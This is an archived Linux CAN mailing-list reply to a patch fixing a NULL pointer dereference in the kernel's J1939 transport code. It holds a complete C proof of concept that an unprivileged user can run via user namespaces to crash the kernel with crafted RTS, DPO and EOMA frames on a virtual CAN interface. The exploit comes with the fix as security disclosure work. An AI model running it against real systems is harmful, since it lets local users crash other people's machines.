Linux CAN drivers development
 help / color / mirror / Atom feed
From: Weiming Shi <bestswngs@gmail.com>
To: Robin van der Gracht <robin@protonic.nl>,
	 Oleksij Rempel <o.rempel@pengutronix.de>,
	Oliver Hartkopp <socketcan@hartkopp.net>,
	 Marc Kleine-Budde <mkl@pengutronix.de>
Cc: Bastian Stender <bst@pengutronix.de>,
	 Maxime Jayat <maxime.jayat@mobile-devices.fr>,
	linux-can@vger.kernel.org, Xiang Mei <xmei5@asu.edu>
Subject: Re: [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed()
Date: Sun, 17 May 2026 23:53:12 +0800	[thread overview]
Message-ID: <agnjbpTXcHVDuV-F@Air.local> (raw)
In-Reply-To: <20260517154426.4046979-2-bestswngs@gmail.com>

Required key configs for the poc:

- CONFIG_CAN=y 
- CONFIG_CAN_J1939=y/m 
- CONFIG_CAN_VCAN=y/m 
- CONFIG_USER_NS=y 

When CONFIG_USER_NS=y, an unprivileged user can trigger this vulnerability 
by calling unshare(CLONE_NEWUSER | CLONE_NEWNET) to enter a new user and network
 namespace, which grants CAP_NET_RAW without requiring root privileges.


```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/can.h>
#include <linux/can/raw.h>
#include <linux/can/j1939.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_link.h>

#define J1939_ETP_PGN_CTL  0xc800u
#define J1939_ETP_CMD_RTS  0x14
#define J1939_ETP_CMD_DPO  0x16
#define J1939_ETP_CMD_EOMA 0x17

#define LOCAL_ADDR  0x80
#define REMOTE_ADDR 0x42
#define INNER_PGN   0x0f000u
#define MSG_TOTAL   1792

static void rta_add(struct nlmsghdr *nh, int max, int type,
		    const void *data, int len)
{
	int rta_len = RTA_LENGTH(len);
	struct rtattr *rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = rta_len;
	if (data && len) memcpy(RTA_DATA(rta), data, len);
	nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta_len);
}

static struct rtattr *rta_nest(struct nlmsghdr *nh, int type)
{
	struct rtattr *rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
	rta->rta_type = type | NLA_F_NESTED;
	rta->rta_len = RTA_LENGTH(0);
	nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
	return rta;
}

static void rta_nest_end(struct nlmsghdr *nh, struct rtattr *rta)
{
	rta->rta_len = (char *)nh + nh->nlmsg_len - (char *)rta;
}

static int create_vcan(const char *name)
{
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0) return -1;

	char buf[1024];
	memset(buf, 0, sizeof(buf));
	struct nlmsghdr *nh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifm;

	nh->nlmsg_len   = NLMSG_LENGTH(sizeof(*ifm));
	nh->nlmsg_type  = RTM_NEWLINK;
	nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nh->nlmsg_seq   = 1;
	ifm = NLMSG_DATA(nh);
	ifm->ifi_family = AF_UNSPEC;

	rta_add(nh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1);
	struct rtattr *linfo = rta_nest(nh, IFLA_LINKINFO);
	rta_add(nh, sizeof(buf), IFLA_INFO_KIND, "vcan", 5);
	rta_nest_end(nh, linfo);

	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nh, .iov_len = nh->nlmsg_len };
	struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
			      .msg_iov = &iov, .msg_iovlen = 1 };
	sendmsg(fd, &msg, 0);

	char rbuf[4096];
	recv(fd, rbuf, sizeof(rbuf), 0);
	close(fd);
	return 0;
}

static int set_link_up(const char *name)
{
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0) return -1;

	int idx = if_nametoindex(name);
	if (!idx) { close(fd); return -1; }

	char buf[256];
	memset(buf, 0, sizeof(buf));
	struct nlmsghdr *nh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifm;

	nh->nlmsg_len   = NLMSG_LENGTH(sizeof(*ifm));
	nh->nlmsg_type  = RTM_NEWLINK;
	nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nh->nlmsg_seq   = 2;
	ifm = NLMSG_DATA(nh);
	ifm->ifi_family = AF_UNSPEC;
	ifm->ifi_index  = idx;
	ifm->ifi_change = IFF_UP;
	ifm->ifi_flags  = IFF_UP;

	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nh, .iov_len = nh->nlmsg_len };
	struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
			      .msg_iov = &iov, .msg_iovlen = 1 };
	sendmsg(fd, &msg, 0);

	char rbuf[4096];
	recv(fd, rbuf, sizeof(rbuf), 0);
	close(fd);
	return 0;
}

static uint32_t make_canid(uint32_t pgn, uint8_t da, uint8_t sa)
{
	uint32_t pri = 6;
	return CAN_EFF_FLAG | (pri << 26) | ((pgn & 0x3ff00) << 8) | ((uint32_t)da << 8) | sa;
}

static int send_etp_ctl(int fd, uint8_t cmd, uint32_t inner_pgn,
			uint8_t b1, uint8_t b2, uint8_t b3, uint8_t b4,
			uint8_t da, uint8_t sa)
{
	struct can_frame f = {0};
	f.can_id = make_canid(J1939_ETP_PGN_CTL, da, sa);
	f.len = 8;
	f.data[0] = cmd;
	f.data[1] = b1;
	f.data[2] = b2;
	f.data[3] = b3;
	f.data[4] = b4;
	f.data[5] = (inner_pgn >> 0) & 0xff;
	f.data[6] = (inner_pgn >> 8) & 0xff;
	f.data[7] = (inner_pgn >> 16) & 0xff;
	return write(fd, &f, sizeof(f));
}

int main(void)
{
	printf("[*] Sequential PoC - no race condition needed\n");

	if (create_vcan("vcan0") < 0) {
		fprintf(stderr, "[-] create_vcan failed\n");
		return 1;
	}
	if (set_link_up("vcan0") < 0) {
		fprintf(stderr, "[-] set_link_up failed\n");
		return 1;
	}

	int ifindex = if_nametoindex("vcan0");
	if (!ifindex) { fprintf(stderr, "[-] no vcan0\n"); return 1; }
	printf("[+] vcan0 ifindex=%d\n", ifindex);

	/* Bind J1939 socket at LOCAL_ADDR (0x80) - creates the "receiver" */
	int jsk = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
	if (jsk < 0) { perror("socket J1939"); return 1; }

	struct sockaddr_can jaddr = {0};
	jaddr.can_family = AF_CAN;
	jaddr.can_ifindex = ifindex;
	jaddr.can_addr.j1939.name = J1939_NO_NAME;
	jaddr.can_addr.j1939.addr = LOCAL_ADDR;
	jaddr.can_addr.j1939.pgn  = J1939_NO_PGN;
	if (bind(jsk, (struct sockaddr *)&jaddr, sizeof(jaddr)) < 0) {
		perror("bind LOCAL"); return 1;
	}
	printf("[+] J1939 bound at LOCAL=0x%x\n", LOCAL_ADDR);

	/* Bind second J1939 socket at REMOTE_ADDR (0x42) - makes it "local" too */
	int jsk2 = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
	if (jsk2 < 0) { perror("socket J1939 remote"); return 1; }

	struct sockaddr_can jaddr2 = {0};
	jaddr2.can_family = AF_CAN;
	jaddr2.can_ifindex = ifindex;
	jaddr2.can_addr.j1939.name = J1939_NO_NAME;
	jaddr2.can_addr.j1939.addr = REMOTE_ADDR;
	jaddr2.can_addr.j1939.pgn  = J1939_NO_PGN;
	if (bind(jsk2, (struct sockaddr *)&jaddr2, sizeof(jaddr2)) < 0) {
		perror("bind REMOTE"); return 1;
	}
	printf("[+] J1939 bound at REMOTE=0x%x\n", REMOTE_ADDR);

	/* Raw CAN socket for injecting frames */
	int rsk = socket(PF_CAN, SOCK_RAW, CAN_RAW);
	if (rsk < 0) { perror("socket RAW"); return 1; }

	int loopback = 1;
	setsockopt(rsk, SOL_CAN_RAW, CAN_RAW_LOOPBACK, &loopback, sizeof(loopback));

	struct sockaddr_can raddr = {0};
	raddr.can_family = AF_CAN;
	raddr.can_ifindex = ifindex;
	if (bind(rsk, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
		perror("bind RAW"); return 1;
	}
	printf("[+] Raw CAN socket ready\n");

	printf("\n[*] Step 1: Send RTS (REMOTE->LOCAL, size=%d)\n", MSG_TOTAL);
	uint32_t size = MSG_TOTAL;
	send_etp_ctl(rsk, J1939_ETP_CMD_RTS, INNER_PGN,
		     size & 0xff, (size >> 8) & 0xff,
		     (size >> 16) & 0xff, (size >> 24) & 0xff,
		     LOCAL_ADDR, REMOTE_ADDR);

	/* Wait for session to be created and RTS processed */
	usleep(50000);

	printf("[*] Step 2: Send malicious DPO (dpo=0x7FFFFF)\n");
	/* DPO frame: bytes 2-4 = 24-bit packet offset (little-endian) */
	/* j1939_etp_ctl_to_packet reads dat[2]|(dat[3]<<8)|(dat[4]<<16) */
	send_etp_ctl(rsk, J1939_ETP_CMD_DPO, INNER_PGN,
		     0x00,  /* number of packets to skip (ignored for our purpose) */
		     0xff, 0xff, 0x7f,  /* DPO bytes: 0xFF | (0xFF<<8) | (0x7F<<16) = 0x7FFFFF */
		     LOCAL_ADDR, REMOTE_ADDR);

	/* Wait for DPO to be fully processed */
	usleep(50000);

	printf("[*] Step 3: Send EOMA (LOCAL->REMOTE, triggers completion)\n");
	uint32_t eoma_size = MSG_TOTAL;
	send_etp_ctl(rsk, J1939_ETP_CMD_EOMA, INNER_PGN,
		     eoma_size & 0xff, (eoma_size >> 8) & 0xff,
		     (eoma_size >> 16) & 0xff, (eoma_size >> 24) & 0xff,
		     REMOTE_ADDR, LOCAL_ADDR);

	/* If we reach here, the kernel didn't crash */
	usleep(200000);
	printf("[-] No crash - kernel survived\n");

	close(rsk);
	close(jsk);
	close(jsk2);
	return 0;
}
```

      reply	other threads:[~2026-05-17 15:53 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-05-17 15:44 [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed() Weiming Shi
2026-05-17 15:53 ` Weiming Shi [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=agnjbpTXcHVDuV-F@Air.local \
    --to=bestswngs@gmail.com \
    --cc=bst@pengutronix.de \
    --cc=linux-can@vger.kernel.org \
    --cc=maxime.jayat@mobile-devices.fr \
    --cc=mkl@pengutronix.de \
    --cc=o.rempel@pengutronix.de \
    --cc=robin@protonic.nl \
    --cc=socketcan@hartkopp.net \
    --cc=xmei5@asu.edu \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox